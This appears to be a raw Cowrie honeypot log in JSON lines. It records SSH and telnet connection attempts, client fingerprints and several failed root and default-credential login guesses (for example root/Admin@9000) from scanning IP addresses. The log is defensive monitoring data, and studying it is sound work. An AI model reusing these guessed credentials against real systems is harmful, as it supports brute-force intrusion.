{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:76:56:87:1a:02:a7:25:29:0d:ff:2b:fc:ae:fe:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtrY1mcbvlC934cxrNNouonezWICt0hnAjIG/A5F1KgXgCyBMeh0q68MAy5Vyrf7Rda7mfa3PNLHw/PZu2XlHk9oTNHK9msEHPgHdrPCM3f+lIpMzrWRO8dYxrLJneUWerrDLzv0EptDwu2h+himYDCM1zaRZjYfNcTIjGUK/fJOuNmhG/O3G5I2sRHcsbtFfyK0gjrunA35iWfothMKLL8StAy1Vd5O9cacP2QEsqbd7CWGUJltjtl7jJRDT+/Xw34224F8Wk8jKDzQ0WH9nN9H/dvohhV2144y7eopAb0IeleFuPAyzYRcnV+ds65Qau05h3/NXZSbiFEBVZdJAv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:02.001033Z","src_ip":"104.237.147.156","session":"b470affa55f7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:3e:35:57:73:07:34:c5:21:14:55:18:b1:b0:73:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHGfZ0o4m0nbrA1vab7XpU3YNR8ssrISj/OftTLLbAQacyzEUg3qreseJq6f5z8ydE8V9j4yhEaDgDSZmmyRWk2BgAl+PD6fv81h0AJSmaRkIT5nM8brjOJnpVdpXyamFG/LwjnGCv6Gxozaeg1NDwRzuiLlOsTfOQJuL1jVXMrYPLYu/oUT5k9hyvpJXTnT4k69m3bzj1VgFHz3/S0U2biQABEGicLHEeldDyulTDGyZk0SiQPtGU5RGJAAXVrDwatSDslfOZF+QlnR2M+6k779m7CE9bkj6uNdxWG4ILAqCLmqhUCupPQnryQq/WdFb/ex4I78utaY6zmmaFl66YxGeXvuuQkvD4vExTCX5f5j+miCFNAGbLoRlotCMR8U5iDu7vpTqH0QU6CacmJnOfKJkucnxQsLiHn704w12goedGIWJR37KSH2HBwl2+Xzp6dwpqexMbhTfgF6Q92Vg33cgtE9SyinmE8YvBm3ReHXCSJn5y1Pu4UBKIduM/ZTM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:3e:35:57:73:07:34:c5:21:14:55:18:b1:b0:73:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:02.013980Z","src_ip":"104.237.147.156","session":"b470affa55f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:3e:35:57:73:07:34:c5:21:14:55:18:b1:b0:73:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHGfZ0o4m0nbrA1vab7XpU3YNR8ssrISj/OftTLLbAQacyzEUg3qreseJq6f5z8ydE8V9j4yhEaDgDSZmmyRWk2BgAl+PD6fv81h0AJSmaRkIT5nM8brjOJnpVdpXyamFG/LwjnGCv6Gxozaeg1NDwRzuiLlOsTfOQJuL1jVXMrYPLYu/oUT5k9hyvpJXTnT4k69m3bzj1VgFHz3/S0U2biQABEGicLHEeldDyulTDGyZk0SiQPtGU5RGJAAXVrDwatSDslfOZF+QlnR2M+6k779m7CE9bkj6uNdxWG4ILAqCLmqhUCupPQnryQq/WdFb/ex4I78utaY6zmmaFl66YxGeXvuuQkvD4vExTCX5f5j+miCFNAGbLoRlotCMR8U5iDu7vpTqH0QU6CacmJnOfKJkucnxQsLiHn704w12goedGIWJR37KSH2HBwl2+Xzp6dwpqexMbhTfgF6Q92Vg33cgtE9SyinmE8YvBm3ReHXCSJn5y1Pu4UBKIduM/ZTM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:02.019971Z","src_ip":"104.237.147.156","session":"b470affa55f7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:45:8a:78:bb:7f:8c:30:9d:20:1e:b5:25:c4:a1:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDu7xAF+BzN11dyG4lage8pbIriT1D7l+D2jQZ6kDlEou2vPqHgDWzlrI1qCYuy8nUnd7oQR7LB4gissOwg7GzhurRRRNzbKyvr60x+2HSzl9N3+bA3gA6tjFeEPhiG0VveVC70TA0ebLTA04H+aSLyBTJgKPVZp4p/c+4L6blznAB0+1TLhSKOTty4AwAHshdd5tphDNEr4bLuFYiGEMILCqMxM+CW2dXzqzIcBfoEg6iZ0T2zdRVJEAk00MVk6jtgrV1hij/TGxLU14VEeoG3MzaOxTf3gtpfzVKkvDKd0m8yXpz3e+IPdAYLH4R7epqJKej2ruQszhwcgD+xcZhWv5xkg5QnQC7rEdlJqYKYaxS7wE0ZsEpIvwqVE2TitYPuwGyQqJRucgbM1vYoXaKC3/InFlJObaaZWMUjsV9Ol5GKQ8i3I0BICGRcQeTS/3s6l1JY46WCV60rtlRfinuz5K6HM/44ydRANs4/46nZodVf+AaPktu70kLe87eMCk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:45:8a:78:bb:7f:8c:30:9d:20:1e:b5:25:c4:a1:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:02.043279Z","src_ip":"104.237.147.156","session":"b470affa55f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:45:8a:78:bb:7f:8c:30:9d:20:1e:b5:25:c4:a1:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDu7xAF+BzN11dyG4lage8pbIriT1D7l+D2jQZ6kDlEou2vPqHgDWzlrI1qCYuy8nUnd7oQR7LB4gissOwg7GzhurRRRNzbKyvr60x+2HSzl9N3+bA3gA6tjFeEPhiG0VveVC70TA0ebLTA04H+aSLyBTJgKPVZp4p/c+4L6blznAB0+1TLhSKOTty4AwAHshdd5tphDNEr4bLuFYiGEMILCqMxM+CW2dXzqzIcBfoEg6iZ0T2zdRVJEAk00MVk6jtgrV1hij/TGxLU14VEeoG3MzaOxTf3gtpfzVKkvDKd0m8yXpz3e+IPdAYLH4R7epqJKej2ruQszhwcgD+xcZhWv5xkg5QnQC7rEdlJqYKYaxS7wE0ZsEpIvwqVE2TitYPuwGyQqJRucgbM1vYoXaKC3/InFlJObaaZWMUjsV9Ol5GKQ8i3I0BICGRcQeTS/3s6l1JY46WCV60rtlRfinuz5K6HM/44ydRANs4/46nZodVf+AaPktu70kLe87eMCk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:02.050874Z","src_ip":"104.237.147.156","session":"b470affa55f7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:67:fd:a9:75:5f:82:a0:a2:69:b4:58:fb:5c:4b:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZVHJRwaxeUY8oDUDg9QwHVP6hHki/QE8Yqq/H3BFxAGYBVAOgt9obDz36Dnyi7Xi3pBayjbBbeXl3qyG2izBAnFix62OG7QQvQtbzh2NqPE9bcpMWHnc7Q/zXzsMoEMsrGB2jj0AYueRR7SVxz0hg84Do1MWV7YRssrJ3Vp2kaAuQaGaE0pL7XcvGUE+Mjru+g6nQ9cLPtes5MiPeA1dRR4TE3oPKSIHXT2ZsVPwwGzkma9jJe56kdE9O3uSS5j1OL/zxQVIpm9k7xnQsxgIqL11L1yRdsYDqo+qPs4hQ3QQi8vy+yfBI0DXcyxcPSpR5hlgaLjMJHoI1HbkTy6b5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:67:fd:a9:75:5f:82:a0:a2:69:b4:58:fb:5c:4b:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:02.065445Z","src_ip":"104.237.147.156","session":"b470affa55f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:67:fd:a9:75:5f:82:a0:a2:69:b4:58:fb:5c:4b:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZVHJRwaxeUY8oDUDg9QwHVP6hHki/QE8Yqq/H3BFxAGYBVAOgt9obDz36Dnyi7Xi3pBayjbBbeXl3qyG2izBAnFix62OG7QQvQtbzh2NqPE9bcpMWHnc7Q/zXzsMoEMsrGB2jj0AYueRR7SVxz0hg84Do1MWV7YRssrJ3Vp2kaAuQaGaE0pL7XcvGUE+Mjru+g6nQ9cLPtes5MiPeA1dRR4TE3oPKSIHXT2ZsVPwwGzkma9jJe56kdE9O3uSS5j1OL/zxQVIpm9k7xnQsxgIqL11L1yRdsYDqo+qPs4hQ3QQi8vy+yfBI0DXcyxcPSpR5hlgaLjMJHoI1HbkTy6b5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:02.071584Z","src_ip":"104.237.147.156","session":"b470affa55f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:02.085526Z","src_ip":"104.237.147.156","session":"b470affa55f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.11655926704407,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:13.340255Z","src_ip":"128.199.8.54","session":"99f5dc06687a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.91361904144287,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:16.464247Z","src_ip":"128.199.8.54","session":"ea19e945997f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.94970750808716,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:16.469182Z","src_ip":"128.199.8.54","session":"f1f547df3f7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.36.29.20","src_port":34636,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b4f852b9950","protocol":"telnet","message":"New connection: 157.36.29.20:34636 (159.203.135.109:23) [session: 8b4f852b9950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:23.116271Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39668,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cd89c474767","protocol":"telnet","message":"New connection: 128.199.8.54:39668 (159.203.135.109:23) [session: 5cd89c474767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:23.713322Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46162,"dst_ip":"159.203.135.109","dst_port":23,"session":"7060ff6e4f1d","protocol":"telnet","message":"New connection: 128.199.8.54:46162 (159.203.135.109:23) [session: 7060ff6e4f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:26.748548Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54890,"dst_ip":"159.203.135.109","dst_port":23,"session":"9853ea96d788","protocol":"telnet","message":"New connection: 128.199.8.54:54890 (159.203.135.109:23) [session: 9853ea96d788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:30.877223Z"}
{"eventid":"cowrie.session.closed","duration":32.51892638206482,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:33.207069Z","src_ip":"128.199.8.54","session":"f546fd062ad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":48388,"dst_ip":"10.17.0.5","dst_port":23,"session":"208c290a160b","protocol":"telnet","message":"New connection: 208.92.193.123:48388 (10.17.0.5:23) [session: 208c290a160b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:33.986744Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":59450,"dst_ip":"159.203.135.109","dst_port":22,"session":"26d3ae269dca","protocol":"ssh","message":"New connection: 80.94.92.186:59450 (159.203.135.109:22) [session: 26d3ae269dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:35.815551Z"}
{"eventid":"cowrie.session.closed","duration":12.742986679077148,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:35.859070Z","src_ip":"157.36.29.20","session":"8b4f852b9950","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:35.935114Z","src_ip":"80.94.92.186","session":"26d3ae269dca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:35.939175Z","src_ip":"80.94.92.186","session":"26d3ae269dca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jupyter","password":"jupyter","message":"login attempt [jupyter/jupyter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:37.565696Z","src_ip":"80.94.92.186","session":"26d3ae269dca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:38.827641Z","src_ip":"80.94.92.186","session":"26d3ae269dca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.238.73.192","src_port":39427,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec168b0d841a","protocol":"telnet","message":"New connection: 160.238.73.192:39427 (159.203.135.109:23) [session: ec168b0d841a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:38.978262Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.89.44.90","src_port":34459,"dst_ip":"159.203.135.109","dst_port":23,"session":"5435645fb5ae","protocol":"telnet","message":"New connection: 190.89.44.90:34459 (159.203.135.109:23) [session: 5435645fb5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:41.253160Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":42936,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6a60f8c4373","protocol":"ssh","message":"New connection: 78.83.249.54:42936 (159.203.135.109:22) [session: b6a60f8c4373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:49.953033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:49.957871Z","src_ip":"78.83.249.54","session":"b6a60f8c4373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:50.081494Z","src_ip":"78.83.249.54","session":"b6a60f8c4373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ladmin","password":"ladmin","message":"login attempt [ladmin/ladmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:50.590648Z","src_ip":"78.83.249.54","session":"b6a60f8c4373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:51.714633Z","src_ip":"78.83.249.54","session":"b6a60f8c4373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.431684494018555,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:52.409866Z","src_ip":"160.238.73.192","session":"ec168b0d841a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.78418016433716,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:56.497387Z","src_ip":"128.199.8.54","session":"5cd89c474767","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52902,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdb63c718b1a","protocol":"telnet","message":"New connection: 128.199.8.54:52902 (159.203.135.109:23) [session: cdb63c718b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:56.641708Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52842,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bba30909542","protocol":"telnet","message":"New connection: 128.199.8.54:52842 (159.203.135.109:23) [session: 5bba30909542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:57.616898Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":40572,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee653008862e","protocol":"ssh","message":"New connection: 103.15.226.202:40572 (10.17.0.5:22) [session: ee653008862e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:59.365818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:59.370403Z","src_ip":"103.15.226.202","session":"ee653008862e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:59.616982Z","src_ip":"103.15.226.202","session":"ee653008862e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.009860038757324,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:18:59.758251Z","src_ip":"128.199.8.54","session":"7060ff6e4f1d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@9000","message":"login attempt [root/Admin@9000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:00.358284Z","src_ip":"103.15.226.202","session":"ee653008862e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:01.608657Z","src_ip":"103.15.226.202","session":"ee653008862e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.91.64.6","src_port":60023,"dst_ip":"159.203.135.109","dst_port":22,"session":"f388e4e11f86","protocol":"ssh","message":"New connection: 45.91.64.6:60023 (159.203.135.109:22) [session: f388e4e11f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:05.199303Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:05.329299Z","src_ip":"45.91.64.6","session":"f388e4e11f86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.50749182701111,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:05.384600Z","src_ip":"128.199.8.54","session":"9853ea96d788","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61269998550415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:05.599302Z","src_ip":"208.92.193.123","session":"208c290a160b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53158,"dst_ip":"159.203.135.109","dst_port":23,"session":"df314306754e","protocol":"telnet","message":"New connection: 128.199.8.54:53158 (159.203.135.109:23) [session: df314306754e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:13.183666Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59980,"dst_ip":"159.203.135.109","dst_port":23,"session":"72c92d6de51f","protocol":"telnet","message":"New connection: 128.199.8.54:59980 (159.203.135.109:23) [session: 72c92d6de51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:14.468937Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36934,"dst_ip":"159.203.135.109","dst_port":23,"session":"930cc6377589","protocol":"telnet","message":"New connection: 128.199.8.54:36934 (159.203.135.109:23) [session: 930cc6377589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:17.021434Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44732,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f9fa87745e9","protocol":"telnet","message":"New connection: 128.199.8.54:44732 (159.203.135.109:23) [session: 6f9fa87745e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:19:19.901135Z"}
